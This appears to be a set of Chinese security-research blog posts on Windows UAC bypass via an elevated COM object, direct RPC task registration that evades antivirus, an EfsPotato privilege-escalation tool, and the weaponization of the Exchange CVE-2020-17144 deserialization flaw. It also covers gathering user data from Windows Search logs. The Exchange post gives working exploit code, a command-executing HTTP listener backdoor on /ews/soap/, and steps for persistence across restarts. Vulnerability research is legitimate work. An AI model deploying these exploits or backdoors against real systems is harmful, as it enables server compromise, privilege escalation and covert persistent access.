所以，作为交互式登录的我们才有权限激活以及调用提升后的COM组件。

其次，从程序设计角度，我们查看关于`COM Proxy`的定义。按照https://docs.microsoft.com/en-us/windows/win32/com/proxy所述，代理对象驻留在调用方进程，充当远程对象的代理，在调用方看来，对代理对象的调用和直接调用真实对象并无区别。

这是一个完整的`对象代理`，应用且遵循`代理模式`，即代理对象的`表现形式`、`暴露方法`、`调用方式`与真实对象`完全相同`。

从Web安全的角度，可以理解为`ysoserial`里面到处都在用的`InvocationHandler`或`Util`返回的那个泛型对象，或是你用`RetransformAgent`劫持`Tomcat Filter`、`Spring Controller`之后，为了不影响业务而做的那个`Wrapper`；从开发的角度，等同于你用过的任何AOP。

所以我们在`0x04 调用`所进行的操作可以翻译为：

1.我们要求COM激活器绑定至`Moniker`为`Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}`的对象，由于激活上下文标记为`CLSCTX_LOCAL_SERVER`，本地COM客户端（`combase.dll`）将请求DCOM服务，发送一个`进程外（Out-Of-Process）`、`提升的（Elevated）`激活请求。

2.DCOM根据组件`注册信息（registration info）`与`激活上下文（Activation Context）`，确保`A6BFEA43-501F-456F-A845-983D3AD7B8F0`对象可以提升（实际上这里将调用`AppInfo服务`），且当前用户具备激活权限（存在包含已启用组`S-1-5-4`的`显式DACL`）。

3.DCOM服务在`新的（new）`、`其他的（others）`、`提升后的（elevated）` 进程中进行`激活（activation）`操作，创建`真实对象（Real Object）`。

4.DCOM通知本地COM客户端激活成功（`HRESULT=S_OK`），本地客户端在当前进程创建真实对象的`代理（Proxy）`作为实际通信目标。

5.当前进程在代理对象上调用`实例方法`，该方法实际上由远程对象进行处理。

6.根据方法签名，调用将返回新的`ITaskService`对象引用。由于`ITaskService`对象未实现额外的`编组（Marshalling）`接口，COM进行默认封装，返回`远程对象引用（Remote Object Reference，ObjRef）`。

7.本地客户端在当前进程以`代理对象（Proxy Object）`形式创建`ITaskService`对象的`代理（Proxy）`。

8.根据MSDN所述，对象远程引用在`调用方（caller）`等于真实对象；根据`CLSID`，真实对象是一个`ITaskService`。

9.我们在`未提升进程（unelevated process）`中，获取到了在`提升后进程（elevated process）`的`ITaskService`对象代理，任何对代理对象的操作都将无条件转发至真实对象。

10.创建带有`TASK_RUNLEVEL_HIGHEST`标记或其它任意用户（例如`SYSTEM`）运行的计划任务。完成UAC绕过。

如果你有耐心看到这里，请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃，要理解这种模式背后的设计理念和思想，这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。

到这里，我们可以回答0x00中提出的问题了：

1.确实存在一个未文档化的COM，能够根据我们可控制的方式调用计划任务组件。

2.这个组件配置了UAC提升，其通过默认COM代理，在提升后的代理进程内，根据已知的白名单CLSID，创建进程内COM对象；随后通过COM代理直接返回至调用方，供未提升的进程进行调用。

3.由于白名单中有且只有`0f87369f-a4e5-4cfc-bd3e-73e6154572dd`即计划任务（TaskService），导致未提升的进程可获取一个提升后的`TaskService`对象

4.通过调用此对象即可创建以完整权限运行的计划任务，实现UAC ByPass。

0x06 总结

这篇文章可以认为是从理论基础发散并落地到实战应用的开端。以前一篇微软文档化的`MS-TSCH协议`与XML作为基础，结合COM基础知识作为补全；随后发掘出有价值的研究目标，作为具有实战价值的工具与代码实现落地；最终我们重新梳理总结相关知识点，借本次这个实例重温关于COM诸多知识细节，并在实践中一一验证，实现“知识闭环”。

文章涉及的相关代码可以在Github找到。虽然能够直接编译执行，但我依然不建议直接拿来使用，这对于能力提升并没有任何好处。

（另：请遵守刑法、网络安全法等相关规定，我只是单纯分享知识，任何使用不当造成的后果请自行承担）

（请尊重开源协议，抄代码做“武器化”挺无聊的不是么）

当然，这篇文章并不全面，我们只是单纯的根据注册表，然后根据其功能找到了一个UAC Bypass。

而其他的多个角度，无论是继续进行0x01最后对计划任务的跟踪，或是重新对UAC乃至COM进行挖掘，从研究的角度看都有很多细节值得发散开来。

限于篇幅，一些拓展性质的思考将在后续某些系列中进行讲解。

最后，还是那句话，文章的目的是传递知识，论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧，只有知识积累才是串联一切的根本，最终厚积薄发乃至蜕变。

希望这篇文章能在技术点之外为各位带来启发。

Advanced Windows Task Scheduler Playbook - Part.1 basic

Mon, 30 May 2022 19:47:03 +0800

0x00 前言

这个系列是关于Windows计划任务中一些更为本质化的使用，初步估计大概四章。

相比于工具文档或技术文章，我更倾向于将这几篇文章作为传统安全研究的思维笔记，一方面阐述研究过程与思维逻辑，另一方面记录研究成果落地为实战工具的过程。

武器化也好安全开发也罢，将理论基础作为依据，以研究成果作补充，从实战效果作证明的三板斧不能变。

希望在使用之余，能为大家带来研究思路上的启发。

0x01 现象

对Windows对抗有一定研究的，大多都接触过计划任务的相关知识。

作为文档化的组件之一，好处是有完整的官方文档作为参考，例如我们可以几乎不费力气找到很常用的登录自启动代码，稍作修改即可直接使用。

坏处是，文档太长了，面向对象的代码也太复杂了（相对于脚本尤其是安全工具而言）。以上文登录自启动的代码为例，十几个API调用，无故引入且无法去掉的`taskschd.dll`导入，为什么普通用户执行不成功，`S-1-5-32-544`是什么，`TASK_LOGON_GROUP`的定义又在哪？

好在我们是安全研究者，安全研究更擅长从结论/状况反推原因，现在来发挥所长：

我们知道计划任务可以通过UI或者命令行方式进行创建，其参数和选项大部分是对应的。

我们知道计划任务可以通过`ITaskService`接口或是`TaskSchedulerClass`类以及一系列对象进行操作。

我们知道计划任务可以导出一个XML，通过UI或是命令行均可再将其导入。

我们知道每一个计划任务文件都存放于`%SystemRoot%\System32\Tasks`目录下，内容和导出的XML完全相同。

所以，从安全研究的角度，这里可以提出一个问题：计划任务的本质是什么？是那些类，还是XML？

如果是类的话，那么XML在其中充当着什么角色，是如何解析的？

如果是XML的话，那么类充当的又是什么角色？

0x02 依据

虽然Windows提供了绝大部分符号，但在此时还没有调试Windows服务的必要。我们在横向移动的过程中依然会用到计划任务程序，那么首先抓个包：

看到了满屏的RPC调用，对其解密后可以看到以下信息：

我们看到了几个重点，首先调用号（Opnum）为1；其次RPC Stub Data即调用的参数中明显出现了新任务名称，以及随后的XML。

以`windows task scheduler rpc`为关键字搜索，我们可以找到`MS-TSCH`协议，依文档所述，这是建立在RPC协议之上、用于远程对计划任务进行增删改查的接口，同时，我们也看到了熟悉的`ITaskSchedulerService`：

参考`ITaskSchedulerService SchRpcRegisterTask (Opnum 1)`一章，对比参数可基本进行确认：

最后，以`impacket`作为佐证，众所周知`atexec.py`采用计划任务方式进行利用，其中创建远程计划任务同样通过`SchRpcRegisterTask`调用：

于是，我们得到了一个理论依据：微软通过`MS-DCERPC`协议，在上层构建了`MS-TSCH`协议，该协议通过XML作为参数，实现了对计划任务的管理。

0x03 本质

有了`MS-TSCH`作为理论依据，让我们换个思路，尝试从设计者角度进行思考：

（现在，你是一名架构师了）

假设现在一无所有，你会如何设计一个计划任务程序？

首先，所有人都可能调用计划任务，意味着进程应当常驻后台；低权限用户并不能以高权限用户身份进行操作，所以进程需要高权限，并实现模拟机制；高权限后台进程要考虑到特权提升的问题，所以需要存在合理的鉴权机制；计划任务不涉及硬件管理，也并非系统运行所必需，所以无需进入内核。

其次，接受其它进程调用需要有一个合理的通信机制。Windows进程间通信方式众多，出于鉴权考虑，命名管道和alpc均可作为可选项；在易用性方面，alpc和命名管道均有RPC上层封装可用；在性能方面，alpc是毫无疑问的首选（详参微软官方博客alpcport相关）。

之后，出于管理需要，需要支持远程调用。考虑到稳定性，远程通信的方式大多建立在TCP上层；考虑到防火墙与安全性因素，支持加密的HTTPS/SMB/RPC/DCOM是几个可选项；鉴于远程管理往往有着最小配置与降级原则，RPC由于可独立配置、能够通过ncacn_np使用SMB协议通信且不受额外选项干扰，在此优于DCOM；鉴于API统一的原则，统一了本地通信与远程通信的RPC是唯一可选项。

最后，考虑到拓展的需要，需要可拓展的存储方式。考虑到`MS-TSCH`至少有着十五年的历史，采用XML兼顾可读性与拓展性无可厚非。

于是，有了基于`MS-DCERPC`与直接XML传递的`MS-TSCH`协议。

在微软的实现中，`Schedule`服务以`SYSTEM`权限运行，同时拥有`SeImpersoante、SeAssignPrimaryToken`等特权提供不同用户权限的切换。服务通过注册`ncalrpc、ncacn_np(atsvc)`以及向`epmapper`注册三种方式公开了本地与远程的RPC调用端点（EndPoint），为调用方提供`MS-TSCH`协议规定的服务。

好的，我们有了一个通过XML进行通信、且会进行透明鉴权的计划任务服务。

现在，把思路再次转回调用者。

（现在，你是一名程序员。这个功能很重要，怎么实现没人管，明天上线）

不可否认，对照模板编写XML这一做法，对于懒人（我特指初级代码开发人员，无贬义）固然有着无以伦比的方便。但对接过API的都知道，世界上第一痛苦的API就是调用万能接口，第二绝对是通过XML进行数据传递。

`MS-TSCH`出生在至少十五年前，很不幸，两毒俱全。来想象一下你是个防守方，现在应用一个临时缓解措施，需要建立并下发以下计划任务监控：当事件ID 1234触发时，执行powershell命令调用某个API。

想到要看协议文档就很头疼对吧，想到要写C来调用RPC就更头大了对吧。

所以微软通过`COM`，在`Taskschd.dll`内对`MS-TSCH`进行面向对象封装，其`CLSID`为`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`，并提供了一系列帮助接口提供Trigger、Action、Folder的抽象。

为了支持脚本功能，为这个类注册了名为`Schedule.Service`的`ProgId`，并实现了`IDispatch`接口，使得VBS/Powershell等脚本语言能够进行快速调用。

这些是纯粹的封装与帮助类，和实际的协议完全无关。

到这里，TaskScheduler服务（Service或RPC EP）的本质也就呼之欲出：鉴权，接收一个XML（无论是帮助类生成的还是自己构建的），注册到自己业务环境内。

从这个角度看来，计划任务的本质和传统WEB并没有任何区别，甚至可以直接用下面这张图进行类比：

RPC对应HTTP，OPNUM对应Action/Method，XML对应Body。语法、语义、时序完全对应，是的，完美。

实际上，除却纯粹二进制的领域，至少一半的Windows组件能够用这样的方式进行类比。

最后，我们把思维转回安全角度。

（放开我，我是信息安全工程师.jpg）

从攻击者视角看，由于绝大部分文档都仅仅讲述对`COM API`的调用，进而可猜想绝大部分防御措施会针对`Taskschd.dll`，通过RPC进行绕过可能是一个可行的突破方案。

而从防御者视角看，绕过`Taskschd.dll`这一`wrapper`可能会对自身防御体系造成绕过甚至击穿（这里“击穿”二字绝非危言耸听）。

0x04 COM

了解到部分本质之后，我们开始进行更为简洁，更贴近于安全思维的调用。

（不要忘记，我们已经把思维转换回了安全角度）

在参考c++版本示例代码的时候，我们可以看到微软同时提供了XML参考，并提示了可以使用`ITaskFolder::RegisterTask`通过XML直接注册计划任务。

随后调用`ITaskFolder::RegisterTask`来替代之前的繁琐方式（参考代码依然来自MSDN）：

    ITaskFolder* pRootFolder = NULL;
    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    if (FAILED(hr))
    {
        printf("Cannot get Root folder pointer: %x", hr);
        pService->Release();
        CoUninitialize();
        return 1;
    }
    IRegisteredTask* pRegisteredTask = NULL;
    pRootFolder->RegisterTask
    (
        _bstr_t(wszTaskName),
        _bstr_t("xml"),
        TASK_CREATE_OR_UPDATE,
        _variant_t(),
        _variant_t(),
        TASK_LOGON_INTERACTIVE_TOKEN,
        _variant_t(),
        &pRegisteredTask
    );

0x05 RPC

同样的，`MS-TSCH 6.3 Appendix A.3: SchRpc.idl`提供了完整的IDL，通过编译IDL即可直接进行简单的RPC调用：

RpcTryExcept
  {
    wchar_t* pActualPath = 0;
    const wchar_t* xml = L"<!--snipped xml-->";
    _TASK_XML_ERROR_INFO *errorInfo = 0;
    SchRpcRegisterTask
    (
      schrpc_binding_handle,
      L"\\Test Task",
      xml,
      6,
      0,
      0,
      0,
      0,
      &pActualPath,
      &errorInfo
    );
  }
RpcExcept(1)
  {
    DWORD code = RpcExceptionCode(); 
    printf("RPC Exception %d\n", code);
  }
RpcEndExcept;

至少在本文发布的时候，利用直接RPC调用可以绕过相当一部分防护软件对计划任务自启动的拦截。

0x06 总结

本章从协议层面，讲述了Windows计划任务程序从设计、协议、实现均基于XML格式这一基础事实，并以此为基础介绍了更为简单方便的调用。

基础之所以是基础，在于后续相关知识与应用一定会与其具备强关联，而绝非单纯的浅显易懂。

我一直认为，编程思想与设计模式才是最基础的安全技术。在这冗长而无趣的第一章中，我们通过面向对象中`抽象`、`封装`这两大基础概念，以及背后隐藏的`Transport/Channel`这个被微软大肆使用的名词（相信如果搜索了上面几节其中的关键字，并且看了原文就一定有印象）来从侧面分析微软的设计思想，从而能够更好地理解组件的运作方式，最终找到其中的薄弱点，并加以利用。

后续几章无一例外，均将以此为基础，来讲几个有趣的应用案例。

EfsPotato

Tue, 27 Jul 2021 05:40:09 +0800

一个EfsPotato的纯C#实现，好处么自然是方便移植修改。

当然拿来直接用也是没问题的，当成CS插件也可以，不过意义显然不如集成到各种刀里面。

GitHub： https://github.com/zcgonvh/EfsPotato

（自己编译吧，记得混淆以及改下命名空间，哪天抽风杀了zcg可就乐子大了）

最后祭奠即将被掏空的家底。

CVE-2020-17144漏洞分析与武器化

Thu, 10 Dec 2020 04:01:51 +0800

0x00 前言

和CVE-2018-8302、CVE-2020-0688类似，CVE-2020-17144同属需登录后利用的反序列化漏洞，但仅影响Exchange2010服务器。

与CVE-2020-0688不同，由于漏洞本身有趣的成因和触发条件，在利用时无需明文密码，只要具备NTHash即可成功，在利用方式上会相对更加灵活。同时，存在漏洞的功能点本身具备持久化功能，利用成功后将直接进行持久化行为，在不修复漏洞的情况下将永远存在，其危害性和隐蔽性远大于CVE-2020-0688。

0x01 背景

Exchange提供了MRM功能对邮件生存周期进行管理，参考https://docs.microsoft.com/en-us/exchange/policy-and-compliance/mrm/retention-tags-and-retention-policies，其内部通过“标签”和“策略”进行实现。原文表述较为晦涩，简单总结就是：对一类邮件打上相同的标签(Tag)，创建策略（例如定期删除）并应用到某个标签，使得被打上标签的邮件由邮箱助理模块定期统一进行处理。

微软在Exchange2010中设计了一个机器学习功能，通过逻辑回归算法计算邮箱内全部邮件的标签状态，并为邮件自动标记。机器学习将生成模型，模型信息将保存至收件箱的用户配置中。用户配置可以近似理解为一个以字符串为键的字典，其值可能为字典、XML或二进制流三种格式。在机器学习功能中，模型的保存格式为二进制流，其内容为.net二进制序列化数据。

自动标记功能默认不会开启，但无论是否开启都不影响邮箱助理处理过程中进行的模型初始化加载，此过程在用户修改模型配置和邮箱助手启动时均会触发。

0x02 分析

此漏洞成因简单粗暴，首先，模型加载由[Microsoft.Exchange.InfoWorker.Common]Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadModel方法进行实现，其代码极为简略：

internal bool LoadModel(out LearningModel learningModel, out MessageTransformer messageTransformer, bool parseFai)
{
  messageTransformer = null;
  learningModel = null;
  using (UserConfiguration userConfiguration = ElcMailboxHelper.OpenFaiMessage(mailboxSession, "MRM.AutoTag.Model", createIfMissing: false))
  {
    if (userConfiguration == null)
    {
      return false;
    }
    if (parseFai)
    {
      return DeserializeModelFAI(userConfiguration, out learningModel, out messageTransformer);
    }
  }
  return true;
}

OpenFaiMessage将从收件箱直接读取配置并返回。由于任意用户均可对自身配置进行任意修改，这里是一个可控输入：

internal static UserConfiguration OpenFaiMessage(MailboxSession mailboxSession, string faiMessageClass, bool createIfMissing)
{
  .....
  StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);
  try
  {
    userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration(faiMessageClass, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, defaultFolderId);
  }
  .....
  return userConfiguration;
}

随后DeserializeModelFAI方法将在没有任何SerializationBinder的情况下直接进行反序列化：

private bool DeserializeModelFAI(UserConfiguration configItem, out LearningModel learningModel, out MessageTransformer messageTransformer)
{
  .....
  try
  {
    using (Stream serializationStream = configItem.GetStream())
    {
      IFormatter formatter = new BinaryFormatter();
      learningModel = (LearningModel)formatter.Deserialize(serializationStream);
      messageTransformer = (MessageTransformer)formatter.Deserialize(serializationStream);
      result = true;
    }
  }
  .....
  return result;
}

0x02 利用

想要成功利用漏洞，便需要一个修改操作服务器端UserConfiguration对象的方式。除了常规邮件服务与OWA，Exchange提供还提供了EWS接口供客户端调用，其对应的客户端类库为Microsoft.Exchange.WebServices.dll。

熟悉EWS开发的话都会知道，客户端类库中的对象模型与服务器对象模型几乎完全对应。实际上完全不需要查询MSDN即可找到所需类型Microsoft.Exchange.WebServices.Data.UserConfiguration，其定义如下：

public class UserConfiguration : IJsonSerializable
{
  ...
  public string Name
  {
    get
    {
      return name;
    }
    internal set
    {
      name = value;
    }
  }

  public FolderId ParentFolderId
  {
    get
    {
      return parentFolderId;
    }
    internal set
    {
      parentFolderId = value;
    }
  }

  public ItemId ItemId => itemId;

  public UserConfigurationDictionary Dictionary => dictionary;

  public byte[] XmlData
  {
    get
    {
      ValidatePropertyAccess(UserConfigurationProperties.XmlData);
      return xmlData;
    }
    set
    {
      xmlData = value;
      MarkPropertyForUpdate(UserConfigurationProperties.XmlData);
    }
  }

  public byte[] BinaryData
  {
    get
    {
      ValidatePropertyAccess(UserConfigurationProperties.BinaryData);
      return binaryData;
    }
    set
    {
      binaryData = value;
      MarkPropertyForUpdate(UserConfigurationProperties.BinaryData);
    }
  }
  ...
}

对照方法定义很容易写出以下Exp：

ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010);
service.Credentials = new WebCredentials("zcgonvh","P@ssw0rd!");
service.Url = new Uri("https://target/ews/Exchange.asmx");
{
    byte[] data = EVIL-SERIALIZED-BUFFER;
    UserConfiguration u = null;
    Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
    u = new UserConfiguration(service);
    u.BinaryData = data;
    u.Save("MRM.AutoTag.Model", folder.Id);
}

其中EVIL-SERIALIZED-BUFFER为通过ActivitySurrogateSelectorGenerator生成的二进制序列化数据，注意需要更新为修复兼容性的版本，并使用.net 3.5进行编译。

执行后，目标服务器MSExchangeMailboxAssistants.exe进程将连续进行多次反序列化。

0x03 分析

代码执行仅仅是利用第一步。通过上述利用过程可以观察到一个现象：我们访问了EWS，设置了一个邮箱文件夹对象上的属性，而漏洞由MSExchangeMailboxAssistants.exe进行触发。

这个现象已经并非单纯的web代码审计，我们需要站在更高的系统层面进行理解。在https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019可以看到Exchange体系结构图，单纯考虑此漏洞所涉及的系统进行简化整理，可以得到如下流程图：

实际上，无论是通过接口或是客户端，对配置、邮件等服务器对象的修改都会直接体现在Storage所存储的内容中，这是一个数据持久化与共享行为。任何读取邮件数据的服务实际上等同于读取Storage，从而造成了我们观察到由MSExchangeMailboxAssistants服务进行反序列化的结果。

此时回到代码审计的领域分析具体触发位置。MSExchangeMailboxAssistants实现了一个托管的windows服务，从其入口点Microsoft.Exchange.MailboxAssistants.Assistants.AssistantsService.OnStartInternal可以看到注册了大量经由时间或事件触发的功能：

protected override void OnStartInternal(string[] args)
{
    ...
    databaseManager = (DatabaseManager)(object)new DatabaseManager("MSExchangeMailboxAssistants", 50, InfoworkerAssistants.CreateEventBasedAssistantTypes(), InfoworkerAssistants.CreateTimeBasedAssistantTypes(), true);
    databaseManager.Start();
    ...
}

CreateEventBasedAssistantTypes方法将注册Microsoft.Exchange.MailboxAssistants.Assistants.ELC.ElcEventBasedAssistant类，其HandleEventInternal方法会判断是否为AutoTag配置，我们可以看到熟悉的名称MRM.AutoTag.Model：

internal static bool IsAutoTagFai(MapiEvent mapiEvent)
{
    if ((int)mapiEvent.get_ClientType() != 6 && (mapiEvent.get_EventFlags() & 1) != 0)
    {
        if (string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Model", StringComparison.OrdinalIgnoreCase) != 0)
        {
            return string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Setting", StringComparison.OrdinalIgnoreCase) == 0;
        }
        return true;
    }
    return false;
}

如是，则将在后续过程中调用Microsoft.Exchange.MailboxAssistants.Assistants.ELC.RetentionPolicyCheck::LoadAutoTagFai方法，此方法负责模型初始化加载，并进入实际的反序列化调用。

0x04 武器化

现在已经能够在远程执行任意命令，然而在实战利用中远远不够。我们不能确定对方是否能够真正联网，一个没有稳定控制通道的漏洞利用在实战中价值并不高。

我们只能确定能够访问到目标的EWS，那么如何进行稳定控制？我们当然可以写入WebShell，但这仅仅是下策。MSExchangeMailboxAssistants本身通过SYSTEM账户运行，所以完全可以通过调用HTTP API进行端口复用，劫持EWS某个未被注册的端点供外部访问。

NetFX提供了HttpListener提供了HTTP API的托管访问，参考https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0，使用以下代码即可在/ews/soap/路径建立一个Http监听器，并执行request["pass"]提供的命令：

string password = "pass";
try
{
  if (!HttpListener.IsSupported){return;}
  HttpListener listener = new HttpListener();
  listener.Prefixes.Add("http://*:80/ews/soap/");
  listener.Start();
  while (true)
  {
    HttpListenerContext context = listener.GetContext();
    HttpListenerRequest request = context.Request;
    HttpListenerResponse response = context.Response;
    Stream stm = null ;
    string cmd=request.QueryString[password];
    if(!string.IsNullOrEmpty(cmd))
    {
      try
      {
        Process p = new Process();
        p.StartInfo.FileName = cmd;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardError = true;
        p.Start();
        byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
        response.StatusCode = 200;
        response.ContentLength64 = data.Length;
        stm = response.OutputStream;
        stm.Write(data, 0, data.Length);
      }
      catch 
      { 
        response.StatusCode = 404; 
      }
      finally
      {
        if(stm!=null)
        {
          stm.Close();
        }
      }
    }
    else
    {
      response.StatusCode = 404;
      response.OutputStream.Close();
    }
  }
}
catch{}

由于会多次触发反序列化行为，为了防止阻塞以及跑出异常，需要开启新线程进行监听，完整代码大致如下：

namespace Zcg.Exploit.Remote
{
  public class SimpleExecutionRemoteStub
  {
    public SimpleExecutionRemoteStub()
    {
        new Thread(Listen).Start();
    }
    void Listen()
    {
      ....
    }
  }
}

编译，使用新用户执行后访问/ews/soap/?pass=whoami，不出意外将得到whoami的输出结果：

至此利用圆满达成？并不，这里还有一个严重的问题需要解决：无法多次利用。例如，使用曾经进行过漏洞利用的用户继续测试，将不会成功；同时虽然序列化数据本身是持久化的，但重启之后依然无法生效。这两个情况将导致漏洞只能使用一次，在实战中是不可接受的。

解决此问题需要重新审视触发点ElcEventBasedAssistant，代码中可发现名为IsEventInteresting的方法，根据名称很容易推测是一个判断是否需要触发事件的开关。

此方法内调用了NeedToAutoTag方法验证是否需要自动标签功能，其代码如下：

private bool NeedToAutoTag(MapiEvent mapiEvent, UserRetentionPolicyCache userRetentionPolicyCache)
{
    if ((mapiEvent.get_EventMask() & 2) != 0 && userRetentionPolicyCache != null && userRetentionPolicyCache.AutoTagCache != null && userRetentionPolicyCache.AutoTagCache.UserSetting != null && userRetentionPolicyCache.AutoTagCache.UserSetting.AutoTagEnabled)
    {
        Tracer.TraceDebug<object, MapiEvent>((long)GetHashCode(), "{0}: this event is interesting because it is new mail and auto tagging is enabled: {1}", TraceContext.Get(), mapiEvent);
        return true;
    }
    return false;
}

可以看到，新用户默认会进行一次模型加载处理，这是最初可以成功利用的原因，而后续利用因为AutoTagEnabled默认为false导致失败。

AutoTagEnabled是Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.AutoTagUserSetting的成员，很明显是一个简单模型类。简单搜索AutoTagEnabled即可发现此类由Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadUserSettings读取名为MRM.AutoTag.Setting的配置，尝试从字典中获取名为AutoTagEnabled的布尔值，并为AutoTagUserSetting::AutoTagEnabled赋值。

所以只要略加修改poc，加入对MRM.AutoTag.Setting的修改即可：

byte[] data = GeneratePayload(File.ReadAllBytes("e.dll"));
UserConfiguration u = null;
Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
try
{
  u=UserConfiguration.Bind(service,"MRM.AutoTag.Model",folder.Id,UserConfigurationProperties.BinaryData);
  u.Delete();
}catch{}
try
{
 u=UserConfiguration.Bind(service,"MRM.AutoTag.Setting",folder.Id,UserConfigurationProperties.Dictionary);
 u.Delete();
}catch{}
u = new UserConfiguration(service);
u.BinaryData = data;
u.Save("MRM.AutoTag.Model", folder.Id);

try
{ 
  u = new UserConfiguration(service);
  u.Dictionary["AutoTagEnabled"] = true;
  u.Dictionary["NumberOfPredictedEmail"] = 0;
  u.Dictionary["NumberOfCorrectedEmail"] = 0;
  u.Dictionary["NumberOfRetaggedEmail"] = 0;
  u.Save("MRM.AutoTag.Setting", folder.Id);
}catch{}

注意由于此配置默认可能存在，所以需要删除或覆盖。

编译执行后重启，直接访问/ews/soap/?pass=whoami依然可以执行命令，至此漏洞利用完美达成。

最后两个补充：

1、很多情况下Exchange外部存在代理且仅允许https访问，此时端口复用也应该修改为https协议。

2、EWS支持NTLM协议认证，采用Relay或是Hash登录均可作为明文密码的替代品，是某些情况下可选的攻击方案。

0x05 拓展：CVE-2018-8302

同样是[Microsoft.Exchange.InfoWorker.Common]类库，在Microsoft.Exchange.InfoWorker.Common.TopN.TopNConfiguration::ReadWordFrequencyMap方法中可以看到对TopNWords.Data的反序列化，但添加了检查类型检查来确保安全性。

internal bool ReadWordFrequencyMap()
{
  using (UserConfiguration userConfiguration = OpenMessage(createIfMissingOrCorrupt: true))
  {
    if (userConfiguration != null)
    {
      using (Stream stream = userConfiguration.GetStream())
      {
        Exception ex = null;
        try
        {
          Type[] allowList = new Type[1]
          {
            typeof(KeyValuePair<string, int>)
          };
          wordFrequency = (KeyValuePair<string, int>[])SafeSerialization.SafeBinaryFormatterDeserializeWithAllowList(stream, allowList);
        }
        ....
      }
    }
    ....
  }
}
private UserConfiguration OpenMessage(bool createIfMissingOrCorrupt)
{
  UserConfiguration userConfiguration = null;
  StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);
  Exception ex = null;
  try
  {
    userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration("TopNWords.Data", UserConfigurationTypes.Stream | UserConfigurationTypes.Dictionary, defaultFolderId);
  }
  ....
  return userConfiguration;
}

除了白名单列表外的代码如出一辙，是的没错，这就是CVE-2018-8302的漏洞位置。将MRM.AutoTag.Model替换为TopNWords.Data，即可作为exp直接利用。

当然，现在来看这一点只存在研究意义，漏洞的影响范围已经基本被CVE-2020-0688和CVE-2020-17144完全覆盖。

0x06 总结

我个人不喜欢论文性质的总结（实质上是非常厌恶），浪费时间且起不到实质效果。总结的本质应当升华文章主题并提出更高层次或更加深入的思想，而不是由打工人回退至论文狗。

无论何种语言，二进制反序列化均属于老旧技术。BinaryFormatter在微软的开发规范中已经被标为弃用，Exchange从去年的某个补丁开始（大概是2016CU13）已经为所有的反序列化添加了包装和默认黑白名单，对漏洞进行了基本的防御。

但无论如何，三次在大多数人认知中不属于Exchange的反序列化漏洞应当引起警示。至少在漏洞挖掘中，采用更高一层次的目光着眼于整个系统的体系架构并寻找漏洞，之后结合系统本身与部署环境等多个特性发掘更有利实战的隐蔽利用方式是非常有效的。

而在防御角度看，单纯的序列化/反序列化行为应当仅仅限制在传输基本数据的组合而非包含逻辑的数据，实际上任何使用类似行为的位置都应考虑微软的解决方案，即：任意需求序列化数据的调用方应明确需要何种数据模型，并提供至序列化过程；序列化过程应根据调用方显式提供的模型决定行为，而非数据本身对模型的自描述。

最后顺便一说，Exchange邮箱实现和架构都是可以借鉴的，有相当一部分大型邮件系统使用类似的方式存放大量可能的动态数据。类似的动态行为（尤其是底层大量依赖DI、代码生成、缓存反射等实现的基础设施）实际上很难由自动化工具进行挖掘或测试，漏洞挖掘到了最后一定需要转换为开发和架构的思想，才能百战不殆。

Github: http://github/zcgonvh/CVE-2020-17144

附件：没有，去github下载吧，都0202年了还有人找不到注释密码我也很无奈啊……

Windows任意文件下载的三个Tips

Fri, 24 Jul 2020 00:21:37 +0800

在群里面看到大家提出的两个思路，简单进行了一下测试，并附加一个新思路。

由于需要读取一些系统服务使用的文件或用户文件，一般来说需要SYSTEM或administrators权限。

0x01 WSearch服务

@Lz1y提出的思路，简单看了一下SearchIndexer的文件句柄，WSearch服务会将数据存放在%ProgramData%\Microsoft\Search\Data\Applications\Windows\Windows.edb中：

文件拓展名为edb，显然和ntds.dit相同，使用了EsentDB作为存储引擎。

所以只要下载回来还原即可那是不可能的，注意ShareFlag一栏，SearchIndexer选择以独占方式打开数据库，其他进程无法进行读取。

那么关注一下其他目录或文件，%ProgramData%\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex目录下存在一些Crwl与gthr文件，文件名类似SystemIndex.[数字序号].gthr。其中gthr文件中存在大量路径信息：

如图，刚刚打开服务后，微信访问的图片、聊天数据库即被记录，甚至还有一个我的Sid。

另外一个文件里面有一些我的ie访问历史：

虚拟机中则记录了复制到桌面的mimikatz：

如果安装了Outlook，甚至会有邮箱、附件名称、联系人等信息。

(这里没有图，请自行检查)

之后再注意和windows.edb同目录的文件，其中.jtx是可以被打开的。查询msdn可知，此文件为数据库的事务日志，文件名格式为edb[从00000-fffff的五位十六进制数].jtx。

研究过SqlServer的都应当知道，事务日志里面会保存未同步或未写入的数据，只要对文件内容进行分析即可。

实际上我们完全不需要去研究文件结构，windows下绝大部分情况下都以UTF16-LE编码进行保存，所以直接使用strings工具进行提取：

如果是一个常用机器，或者安装了outlook等，那么会有更多惊喜。

